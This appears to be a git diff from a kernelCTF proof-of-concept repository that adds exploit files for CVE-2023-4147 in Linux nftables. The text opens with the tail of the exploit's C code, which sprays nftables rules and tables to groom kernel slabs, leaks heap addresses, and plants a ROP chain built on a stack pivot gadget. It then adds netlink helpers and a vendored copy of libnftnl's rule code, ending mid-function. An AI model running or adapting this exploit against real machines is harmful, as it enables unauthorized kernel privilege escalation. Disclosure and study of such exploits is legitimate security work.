mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free Victim chain3) + usleep(100*1000); + + char rule_data[0x400] = {0,}; + + struct nftnl_rule * rule_spray2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_spray2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_spray2, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_data(rule_spray2, NFTNL_RULE_USERDATA, rule_data, 96-25); + + make_payload2((uint64_t*)(rule_data+7)); + + struct nftnl_rule * rule_spray = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_spray, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_spray, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_data(rule_spray, NFTNL_RULE_USERDATA, rule_data, 192-25); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_spray2); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < 10; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_spray); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // Leak heap + memset(read_data, 0, 0x1000); + + rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, 0x19); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + + *(char*)&read_data = (char*) read_data + 7; + + if (ret > 0) { + heap_addr1 = *(unsigned long*) &read_data[0x78]; + heap_addr2 = *(unsigned long*) &read_data[0x70]; + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + } + + printf("[*] heap_addr %lx %lx\n", heap_addr1, heap_addr2); + + if((heap_addr1 & 0xffff000000000000) != 0xffff000000000000){ + printf("[-] heap leak failed..\n"); + return -1; + } + + // Spray ROP payload + struct nftnl_rule * rule_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_del, NFTNL_RULE_HANDLE, 0x1a); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free rule in kmalloc-cg-96) + usleep(100*1000); + + struct nftnl_table * tables[TABLE_SPRAY] = {0,}; + + uint64_t *data_96 = malloc(1024); + + // spray nft_table->udata to kmalloc-cg-96 + make_payload(data_96); + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "st96_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_96, 96); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + uint64_t *data_64 = malloc(1024); + + // spray nft_table->udata to kmalloc-cg-64 to overwrite chain->blob0 + int o = 0; + + data_64[o++] = 0x100; + data_64[o++] = 0xffffffff61616161; + data_64[o++] = heap_addr2; + + data_64[o++] = kbase + pop_rsp_ret; + data_64[o++] = heap_addr2+8; + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "st64_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_64, 64); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for unfinished work + usleep(100*1000); +} + +void netfilter(){ + save_state(); + + while(1){ + new_ns(); + net_if("lo", -1, IFF_UP, true); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); + + if(!trig()) break; + } + + int sfd = 0, cfd = 0; + + /* Set up server at TRIG_PORT in a new process */ + sfd = fork(); + if(sfd == 0) { + setup_trig_server(); + printf("setup_trig_server!\n"); + exit(0); + } + + trig_net_sock(); + printf("trig_net_sock!\n"); + + sleep(100); + + mnl_socket_close(nl); +} + +int main(int argc, char ** argv) +{ + new_ns(); + + net_if("lo", -1, IFF_UP, true); + + sleep(1); + + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } + + netfilter(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/libnftnl_rule.h b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/libnftnl_rule.h new file mode 100644 index 00000000..ff6cab7b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/libnftnl_rule.h @@ -0,0 +1,103 @@ +#ifndef _LIBNFTNL_RULE_H_ +#define _LIBNFTNL_RULE_H_ + +#include +#include +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +struct nftnl_rule; +struct nftnl_expr; + +struct nftnl_rule *nftnl_rule_alloc(void); +void nftnl_rule_free(const struct nftnl_rule *); + +enum nftnl_rule_attr { + NFTNL_RULE_FAMILY = 0, + NFTNL_RULE_TABLE, + NFTNL_RULE_CHAIN, + NFTNL_RULE_CHAIN_ID, + NFTNL_RULE_HANDLE, + NFTNL_RULE_COMPAT_PROTO, + NFTNL_RULE_COMPAT_FLAGS, + NFTNL_RULE_POSITION, + NFTNL_RULE_USERDATA, + NFTNL_RULE_ID, + NFTNL_RULE_POSITION_ID, + __NFTNL_RULE_MAX +}; +#define NFTNL_RULE_MAX (__NFTNL_RULE_MAX - 1) + +void nftnl_rule_unset(struct nftnl_rule *r, uint16_t attr); +bool nftnl_rule_is_set(const struct nftnl_rule *r, uint16_t attr); +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) __attribute__((deprecated)); +int nftnl_rule_set_data(struct nftnl_rule *r, uint16_t attr, + const void *data, uint32_t data_len); +void nftnl_rule_set_u32(struct nftnl_rule *r, uint16_t attr, uint32_t val); +void nftnl_rule_set_u64(struct nftnl_rule *r, uint16_t attr, uint64_t val); +int nftnl_rule_set_str(struct nftnl_rule *r, uint16_t attr, const char *str); + +const void *nftnl_rule_get(const struct nftnl_rule *r, uint16_t attr); +const void *nftnl_rule_get_data(const struct nftnl_rule *r, uint16_t attr, + uint32_t *data_len); +const char *nftnl_rule_get_str(const struct nftnl_rule *r, uint16_t attr); +uint8_t nftnl_rule_get_u8(const struct nftnl_rule *r, uint16_t attr); +uint32_t nftnl_rule_get_u32(const struct nftnl_rule *r, uint16_t attr); +uint64_t nftnl_rule_get_u64(const struct nftnl_rule *r, uint16_t attr); + +void nftnl_rule_add_expr(struct nftnl_rule *r, struct nftnl_expr *expr); +void nftnl_rule_del_expr(struct nftnl_expr *expr); + +struct nlmsghdr; + +void nftnl_rule_nlmsg_build_payload(struct nlmsghdr *nlh, struct nftnl_rule *t); + +int nftnl_rule_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const char *data, struct nftnl_parse_err *err); +int nftnl_rule_parse_file(struct nftnl_rule *r, enum nftnl_parse_type type, + FILE *fp, struct nftnl_parse_err *err); +int nftnl_rule_snprintf(char *buf, size_t size, const struct nftnl_rule *t, uint32_t type, uint32_t flags); +int nftnl_rule_fprintf(FILE *fp, const struct nftnl_rule *r, uint32_t type, uint32_t flags); + +#define nftnl_rule_nlmsg_build_hdr nftnl_nlmsg_build_hdr +int nftnl_rule_nlmsg_parse(const struct nlmsghdr *nlh, struct nftnl_rule *t); + +int nftnl_expr_foreach(struct nftnl_rule *r, + int (*cb)(struct nftnl_expr *e, void *data), + void *data); + +struct nftnl_expr_iter; + +struct nftnl_expr_iter *nftnl_expr_iter_create(const struct nftnl_rule *r); +struct nftnl_expr *nftnl_expr_iter_next(struct nftnl_expr_iter *iter); +void nftnl_expr_iter_destroy(struct nftnl_expr_iter *iter); + +struct nftnl_rule_list; + +struct nftnl_rule_list *nftnl_rule_list_alloc(void); +void nftnl_rule_list_free(struct nftnl_rule_list *list); +int nftnl_rule_list_is_empty(const struct nftnl_rule_list *list); +void nftnl_rule_list_add(struct nftnl_rule *r, struct nftnl_rule_list *list); +void nftnl_rule_list_add_tail(struct nftnl_rule *r, struct nftnl_rule_list *list); +void nftnl_rule_list_insert_at(struct nftnl_rule *r, struct nftnl_rule *pos); +void nftnl_rule_list_del(struct nftnl_rule *r); +int nftnl_rule_list_foreach(struct nftnl_rule_list *rule_list, int (*cb)(struct nftnl_rule *t, void *data), void *data); + +struct nftnl_rule_list_iter; + +struct nftnl_rule_list_iter *nftnl_rule_list_iter_create(const struct nftnl_rule_list *l); +struct nftnl_rule *nftnl_rule_list_iter_cur(struct nftnl_rule_list_iter *iter); +struct nftnl_rule *nftnl_rule_list_iter_next(struct nftnl_rule_list_iter *iter); +void nftnl_rule_list_iter_destroy(const struct nftnl_rule_list_iter *iter); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif /* _LIBNFTNL_RULE_H_ */ diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/netlink_utils.h b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/netlink_utils.h new file mode 100644 index 00000000..ce994bdf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/netlink_utils.h @@ -0,0 +1,229 @@ +/* + * Utils used to communicate with the kernel via Netlink. + * Useful for static linking. + */ + +#include +#include +#include +#include + +#define PAGE_SIZE 0x1000 +#define NL_AUTO_SEQ 0 +#define NL_AUTO_PID 0 + +void *nlmsg_tail(const struct nlmsghdr *msg) +{ + return (unsigned char *)msg + NLMSG_ALIGN(msg->nlmsg_len); +} + +void *nlmsg_data(const struct nlmsghdr *msg) +{ + return NLMSG_DATA(msg); +} + +int nlmsg_datalen(const struct nlmsghdr *msg) +{ + return msg->nlmsg_len - NLMSG_HDRLEN; +} + +struct nlmsghdr *nlmsg_alloc(void) +{ + struct nlmsghdr *msg; + + msg = calloc(1, 0x1000); + if (!msg) + return NULL; + + msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0)); + return msg; +} + +struct nlmsghdr *nlmsg_init(int type, int flags) +{ + struct nlmsghdr *msg; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + msg->nlmsg_type = type; + msg->nlmsg_flags = flags; + msg->nlmsg_seq = NL_AUTO_SEQ; + msg->nlmsg_pid = NL_AUTO_PID; + + return msg; +} + +void nlmsg_free(struct nlmsghdr *msg) +{ + free(msg); +} + +int nl_init_request(int type, struct nlmsghdr **msg, int flags) +{ + int sk; + struct nlmsghdr *n; + + sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sk < 0) + return -1; + + n = nlmsg_init(type, flags); + if (!n) { + close(sk); + return -1; + } + + *msg = n; + return sk; +} + +void *nlmsg_reserve(struct nlmsghdr *msg, size_t len, int pad) +{ + char *data = (char *)msg; + size_t tlen; + + tlen = NLMSG_ALIGN(len); + data += msg->nlmsg_len; + msg->nlmsg_len += tlen; + + if (tlen > len) + memset(data + len, 0, tlen - len); + + return data; +} + +int nlmsg_append(struct nlmsghdr *msg, void *data, size_t len, int pad) +{ + void *tmp; + + tmp = nlmsg_reserve(msg, len, pad); + if (tmp == NULL) + return -1; + + memcpy(tmp, data, len); + return 0; +} + +int nl_sendmsg(int sk, struct nlmsghdr *msg) +{ + struct iovec iov = {}; + struct msghdr hdr = {}; + + if (sk < 0) + return -1; + + iov.iov_base = (void *)msg; + /* + * Here add NLMSG_GOODSIZE (0xec0) to the total message length + * to be sure the msg in netlink_alloc_large_skb() is allocated using vmalloc(): + * https://elixir.bootlin.com/linux/v6.1/source/net/netlink/af_netlink.c#L1190 + * Useful to reduce noise in kmalloc-512 slabs. + */ + iov.iov_len = msg->nlmsg_len + 0xec0; + + hdr.msg_name = NULL; + hdr.msg_namelen = sizeof(struct sockaddr_nl); + hdr.msg_iov = &iov; + hdr.msg_iovlen = 1; + + return sendmsg(sk, &hdr, 0); +} + +int nl_complete_request(int sock, struct nlmsghdr *msg) +{ + int ret; + + ret = nl_sendmsg(sock, msg); + nlmsg_free(msg); + close(sock); + + return ret; +} + +void *nla_data(const struct nlattr *nla) +{ + return (char *)nla + NLA_HDRLEN; +} + +int nla_attr_size(int payload) +{ + return NLA_HDRLEN + payload; +} + +int nla_total_size(int payload) +{ + return NLA_ALIGN(nla_attr_size(payload)); +} + +int nla_padlen(int payload) +{ + return nla_total_size(payload) - nla_attr_size(payload); +} + +struct nlattr *nla_reserve(struct nlmsghdr *msg, int attrtype, int attrlen) +{ + struct nlattr *nla; + + nla = (struct nlattr *)nlmsg_tail(msg); + nla->nla_type = attrtype; + nla->nla_len = nla_attr_size(attrlen); + + memset((unsigned char *) nla + nla->nla_len, 0, nla_padlen(attrlen)); + + msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + nla_total_size(attrlen); + return nla; +} + +int nla_put(struct nlmsghdr *msg, int attrtype, int datalen, const void *data) +{ + struct nlattr *nla; + + nla = nla_reserve(msg, attrtype, datalen); + if (!nla) + return -1; + + memcpy(nla_data(nla), data, datalen); + return 0; +} + +int nla_put_u32(struct nlmsghdr *msg, int attrtype, uint32_t value) +{ + return nla_put(msg, attrtype, sizeof(uint32_t), &value); +} + +int nla_put_string(struct nlmsghdr *msg, int attrtype, const char *str) +{ + return nla_put(msg, attrtype, strlen(str) + 1, str); +} + +int nla_put_nested(struct nlmsghdr *msg, int attrtype, const struct nlmsghdr *nested) +{ + return nla_put(msg, attrtype, nlmsg_datalen(nested), nlmsg_data(nested)); +} + +struct nlattr *nla_nest_start(struct nlmsghdr *msg, int attrtype) +{ + struct nlattr *start = (struct nlattr *)nlmsg_tail(msg); + + if (nla_put(msg, NLA_F_NESTED | attrtype, 0, NULL) < 0) + return NULL; + + return start; +} + +int nla_nest_end(struct nlmsghdr *msg, struct nlattr *start) +{ + size_t pad, len; + + len = (char *)nlmsg_tail(msg) - (char *)start; + start->nla_len = len; + + pad = NLMSG_ALIGN(msg->nlmsg_len) - msg->nlmsg_len; + if (pad > 0) { + if (!nlmsg_reserve(msg, pad, 0)) + return -1; + } + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/rule.c b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/rule.c new file mode 100644 index 00000000..a4f0175c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/rule.c @@ -0,0 +1,890 @@ +/* + * (C) 2012-2013 by Pablo Neira Ayuso + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This code has been sponsored by Sophos Astaro + */ +#include "internal.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include + +EXPORT_SYMBOL(nftnl_rule_alloc); +struct nftnl_rule *nftnl_rule_alloc(void) +{ + struct nftnl_rule *r; + + r = calloc(1, sizeof(struct nftnl_rule)); + if (r == NULL) + return NULL; + + INIT_LIST_HEAD(&r->expr_list); + + return r; +} + +EXPORT_SYMBOL(nftnl_rule_free); +void nftnl_rule_free(const struct nftnl_rule *r) +{ + struct nftnl_expr *e, *tmp; + + list_for_each_entry_safe(e, tmp, &r->expr_list, head) + nftnl_expr_free(e); + + if (r->flags & (1 << (NFTNL_RULE_TABLE))) + xfree(r->table); + if (r->flags & (1 << (NFTNL_RULE_CHAIN))) + xfree(r->chain); + if (r->flags & (1 << (NFTNL_RULE_USERDATA))) + xfree(r->user.data); + + xfree(r); +} + +EXPORT_SYMBOL(nftnl_rule_is_set); +bool nftnl_rule_is_set(const struct nftnl_rule *r, uint16_t attr) +{ + return r->flags & (1 << attr); +} + +EXPORT_SYMBOL(nftnl_rule_unset); +void nftnl_rule_unset(struct nftnl_rule *r, uint16_t attr) +{ + if (!(r->flags & (1 << attr))) + return; + + switch (attr) { + case NFTNL_RULE_TABLE: + xfree(r->table); + break; + case NFTNL_RULE_CHAIN: + xfree(r->chain); + break; + case NFTNL_RULE_CHAIN_ID: + case NFTNL_RULE_HANDLE: + case NFTNL_RULE_COMPAT_PROTO: + case NFTNL_RULE_COMPAT_FLAGS: + case NFTNL_RULE_POSITION: + case NFTNL_RULE_FAMILY: + case NFTNL_RULE_ID: + case NFTNL_RULE_POSITION_ID: + break; + case NFTNL_RULE_USERDATA: + xfree(r->user.data); + break; + } + + r->flags &= ~(1 << attr); +} + +static uint32_t nftnl_rule_validate[NFTNL_RULE_MAX + 1] = { + [NFTNL_RULE_CHAIN_ID] = sizeof(uint32_t), + [NFTNL_RULE_HANDLE] = sizeof(uint64_t), + [NFTNL_RULE_COMPAT_PROTO] = sizeof(uint32_t), + [NFTNL_RULE_COMPAT_FLAGS] = sizeof(uint32_t), + [NFTNL_RULE_FAMILY] = sizeof(uint32_t), + [NFTNL_RULE_POSITION] = sizeof(uint64_t), + [NFTNL_RULE_ID] = sizeof(uint32_t), + [NFTNL_RULE_POSITION_ID] = sizeof(uint32_t), +}; + +EXPORT_SYMBOL(nftnl_rule_set_data); +int nftnl_rule_set_data(struct nftnl_rule *r, uint16_t attr, + const void *data, uint32_t data_len) +{ + nftnl_assert_attr_exists(attr, NFTNL_RULE_MAX); + nftnl_assert_validate(data, nftnl_rule_validate, attr, data_len); + + switch(attr) { + case NFTNL_RULE_TABLE: + if (r->flags & (1 << NFTNL_RULE_TABLE)) + xfree(r->table); + + r->table = strdup(data); + if (!r->table) + return -1; + break; + case NFTNL_RULE_CHAIN: + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + xfree(r->chain); + + r->chain = strdup(data); + if (!r->chain) + return -1; + break; + case NFTNL_RULE_CHAIN_ID: + memcpy(&r->chain_id, data, sizeof(r->chain_id)); + break; + case NFTNL_RULE_HANDLE: + memcpy(&r->handle, data, sizeof(r->handle)); + break; + case NFTNL_RULE_COMPAT_PROTO: + memcpy(&r->compat.proto, data, sizeof(r->compat.proto)); + break; + case NFTNL_RULE_COMPAT_FLAGS: + memcpy(&r->compat.flags, data, sizeof(r->compat.flags)); + break; + case NFTNL_RULE_FAMILY: + memcpy(&r->family, data, sizeof(r->family)); + break; + case NFTNL_RULE_POSITION: + memcpy(&r->position, data, sizeof(r->position)); + break; + case NFTNL_RULE_USERDATA: + if (r->flags & (1 << NFTNL_RULE_USERDATA)) + xfree(r->user.data); + + r->user.data = malloc(data_len); + if (!r->user.data) + return -1; + + memcpy(r->user.data, data, data_len); + r->user.len = data_len; + break; + case NFTNL_RULE_ID: + memcpy(&r->id, data, sizeof(r->id)); + break; + case NFTNL_RULE_POSITION_ID: + memcpy(&r->position_id, data, sizeof(r->position_id)); + break; + } + r->flags |= (1 << attr); + return 0; +} + +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) __visible; +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) +{ + return nftnl_rule_set_data(r, attr, data, nftnl_rule_validate[attr]); +} + +EXPORT_SYMBOL(nftnl_rule_set_u32); +void nftnl_rule_set_u32(struct nftnl_rule *r, uint16_t attr, uint32_t val) +{ + nftnl_rule_set_data(r, attr, &val, sizeof(uint32_t)); +} + +EXPORT_SYMBOL(nftnl_rule_set_u64); +void nftnl_rule_set_u64(struct nftnl_rule *r, uint16_t attr, uint64_t val) +{ + nftnl_rule_set_data(r, attr, &val, sizeof(uint64_t)); +} + +EXPORT_SYMBOL(nftnl_rule_set_str); +int nftnl_rule_set_str(struct nftnl_rule *r, uint16_t attr, const char *str) +{ + return nftnl_rule_set_data(r, attr, str, strlen(str) + 1); +} + +EXPORT_SYMBOL(nftnl_rule_get_data); +const void *nftnl_rule_get_data(const struct nftnl_rule *r, uint16_t attr, + uint32_t *data_len) +{ + if (!(r->flags & (1 << attr))) + return NULL; + + switch(attr) { + case NFTNL_RULE_FAMILY: + *data_len = sizeof(uint32_t); + return &r->family; + case NFTNL_RULE_TABLE: + *data_len = strlen(r->table) + 1; + return r->table; + case NFTNL_RULE_CHAIN: + *data_len = strlen(r->chain) + 1; + return r->chain; + case NFTNL_RULE_CHAIN_ID: + *data_len = sizeof(uint32_t); + return &r->chain_id; + case NFTNL_RULE_HANDLE: + *data_len = sizeof(uint64_t); + return &r->handle; + case NFTNL_RULE_COMPAT_PROTO: + *data_len = sizeof(uint32_t); + return &r->compat.proto; + case NFTNL_RULE_COMPAT_FLAGS: + *data_len = sizeof(uint32_t); + return &r->compat.flags; + case NFTNL_RULE_POSITION: + *data_len = sizeof(uint64_t); + return &r->position; + case NFTNL_RULE_USERDATA: + *data_len = r->user.len; + return r->user.data; + case NFTNL_RULE_ID: + *data_len = sizeof(uint32_t); + return &r->id; + case NFTNL_RULE_POSITION_ID: + *data_len = sizeof(uint32_t); + return &r->position_id; + } + return NULL; +} + +EXPORT_SYMBOL(nftnl_rule_get); +const void *nftnl_rule_get(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + return nftnl_rule_get_data(r, attr, &data_len); +} + +EXPORT_SYMBOL(nftnl_rule_get_str); +const char *nftnl_rule_get_str(const struct nftnl_rule *r, uint16_t attr) +{ + return nftnl_rule_get(r, attr); +} + +EXPORT_SYMBOL(nftnl_rule_get_u32); +uint32_t nftnl_rule_get_u32(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint32_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint32_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_get_u64); +uint64_t nftnl_rule_get_u64(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint64_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint64_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_get_u8); +uint8_t nftnl_rule_get_u8(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint8_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint8_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_nlmsg_build_payload); +void nftnl_rule_nlmsg_build_payload(struct nlmsghdr *nlh, struct nftnl_rule *r) +{ + struct nftnl_expr *expr; + struct nlattr *nest, *nest2; + + if (r->flags & (1 << NFTNL_RULE_TABLE)) + mnl_attr_put_strz(nlh, NFTA_RULE_TABLE, r->table); + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + mnl_attr_put_strz(nlh, NFTA_RULE_CHAIN, r->chain); + if (r->flags & (1 << NFTNL_RULE_CHAIN_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_CHAIN_ID, htobe32(r->chain_id)); + if (r->flags & (1 << NFTNL_RULE_HANDLE)) + mnl_attr_put_u64(nlh, NFTA_RULE_HANDLE, htobe64(r->handle)); + if (r->flags & (1 << NFTNL_RULE_POSITION)) + mnl_attr_put_u64(nlh, NFTA_RULE_POSITION, htobe64(r->position)); + if (r->flags & (1 << NFTNL_RULE_USERDATA)) { + mnl_attr_put(nlh, NFTA_RULE_USERDATA, r->user.len, + r->user.data); + } + + if (!list_empty(&r->expr_list)) { + nest = mnl_attr_nest_start(nlh, NFTA_RULE_EXPRESSIONS); + list_for_each_entry(expr, &r->expr_list, head) { + nest2 = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM); + nftnl_expr_build_payload(nlh, expr); + mnl_attr_nest_end(nlh, nest2); + } + mnl_attr_nest_end(nlh, nest); + } + + if (r->flags & (1 << NFTNL_RULE_COMPAT_PROTO) && + r->flags & (1 << NFTNL_RULE_COMPAT_FLAGS)) { + + nest = mnl_attr_nest_start(nlh, NFTA_RULE_COMPAT); + mnl_attr_put_u32(nlh, NFTA_RULE_COMPAT_PROTO, + htonl(r->compat.proto)); + mnl_attr_put_u32(nlh, NFTA_RULE_COMPAT_FLAGS, + htonl(r->compat.flags)); + mnl_attr_nest_end(nlh, nest); + } + if (r->flags & (1 << NFTNL_RULE_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_ID, htonl(r->id)); + if (r->flags & (1 << NFTNL_RULE_POSITION_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_POSITION_ID, htonl(r->position_id)); +} + +EXPORT_SYMBOL(nftnl_rule_add_expr); +void nftnl_rule_add_expr(struct nftnl_rule *r, struct nftnl_expr *expr) +{ + list_add_tail(&expr->head, &r->expr_list); +} + +EXPORT_SYMBOL(nftnl_rule_del_expr); +void nftnl_rule_del_expr(struct nftnl_expr *expr) +{ + list_del(&expr->head); +} + +static int nftnl_rule_parse_attr_cb(const struct nlattr *attr, void *data) +{ + const struct nlattr **tb = data; + int type = mnl_attr_get_type(attr); + + if (mnl_attr_type_valid(attr, NFTA_RULE_MAX) < 0) + return MNL_CB_OK; + + switch(type) { + case NFTA_RULE_TABLE: + case NFTA_RULE_CHAIN: + if (mnl_attr_validate(attr, MNL_TYPE_STRING) < 0) + abi_breakage(); + break; + case NFTA_RULE_HANDLE: + if (mnl_attr_validate(attr, MNL_TYPE_U64) < 0) + abi_breakage(); + break; + case NFTA_RULE_COMPAT: + if (mnl_attr_validate(attr, MNL_TYPE_NESTED) < 0) + abi_breakage(); + break; + case NFTA_RULE_POSITION: + if (mnl_attr_validate(attr, MNL_TYPE_U64) < 0) + abi_breakage(); + break; + case NFTA_RULE_USERDATA: + if (mnl_attr_validate(attr, MNL_TYPE_BINARY) < 0) + abi_breakage(); + break; + case NFTA_RULE_ID: + case NFTA_RULE_POSITION_ID: + if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) + abi_breakage(); + break; + } + + tb[type] = attr; + return MNL_CB_OK; +} + +static int nftnl_rule_parse_expr(struct nlattr *nest, struct nftnl_rule *r) +{ + struct nftnl_expr *expr; + struct nlattr *attr; + + mnl_attr_for_each_nested(attr, nest) { + if (mnl_attr_get_type(attr) != 